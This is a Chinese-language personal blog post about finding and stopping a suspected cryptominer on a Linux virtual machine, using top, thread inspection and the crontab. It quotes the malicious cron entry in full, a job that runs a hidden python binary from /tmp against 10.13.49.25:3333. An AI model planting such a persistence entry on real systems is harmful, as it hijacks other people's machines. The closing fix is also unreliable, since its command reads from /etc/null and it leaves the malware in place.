环境说明
这是windows机器上安装的一个linux虚拟机,虚拟机里面跑了几个本门常用的几个软件。不知道从什么时候开始,系统总是莫名其妙的重启。反正重启就好,几个星期重启就重启吧,但是我的心里还是在每次系统重启时有很大的担忧,究竟是啥原因呢?
这一次,我使用Xterm登录到后台的时候,发现cpu显示100%。难怪这么慢,抱着查查原因的念头我敲了top。
排查的整体过程
敲入top后,呵呵,最大的进程利用率也是1%。
什么情况呢?这么小的利用率为啥Xterm显示的CPU100%。而实际上系统的确很卡。本就对top输出信息迷惑的我,此时就是觉得我对系统理解不对。
没办法!菜鸡的我还是放弃?还好我多看了几眼top的输出。其中有一个进程利用率是1%,但是它的command我不理解,是- bash
百度搜索,居然没有搜索到。那就不管它了吧。好在我知道可以查看它的线程。
百度搜一下,top -H -p pid
。不敲不知道,一敲吓一跳,赫然出现4个占用99%的线程。他们的command显示的是python。
我就很奇怪了,这个python是谁起来的啊?
问了一下同事,同事说没有起过python程序。
无赖,就和一个同事说了一下这个事,看看他有没有什么办法。
一段时间之后,他说是一个定时任务,我很好奇他是如何从top -H -p pid
找到定时任务crond的,
也就是crontab -e
的输出是* * * * * /root//tmp/./python -lan 10.13.49.25:3333 > /dev/null 2>&1;
。网上一搜3333端口,赫然出现,难道这个机器变成矿机了???突然很担忧。
如何解决
同事说把crontab
清空。果然清空后cpu的利用很快就下降到很低了。
于是重启机器,完蛋crontab
又回来了。
同事说,如何真的是被,我要是它,我会怎么做。那就是在启动的是加上crontab
呗。
于是我两都在找/etc/profile
和/etc/rc.local
等文件,又是看crond
的日志。无解,没看到有啥有用的信息。但是后来我看到了一点点信息,系统的确是再重启的过程中,加入了那个定时任务。
网上查了查,原来/var/spool/cron
这个目录下放的是用户的定时任务。搜索一下,居然真有/var/spool/cron/root
。
所以系统是在重启时候,写入了/var/spool/cron/root
。那咋办?
没找到办法,但是我突然想到了chattr这个命令。
哈哈哈cat /etc/null > /var/spool/cron/root && chattr +i /var/spool/cron/root && reboot
好了。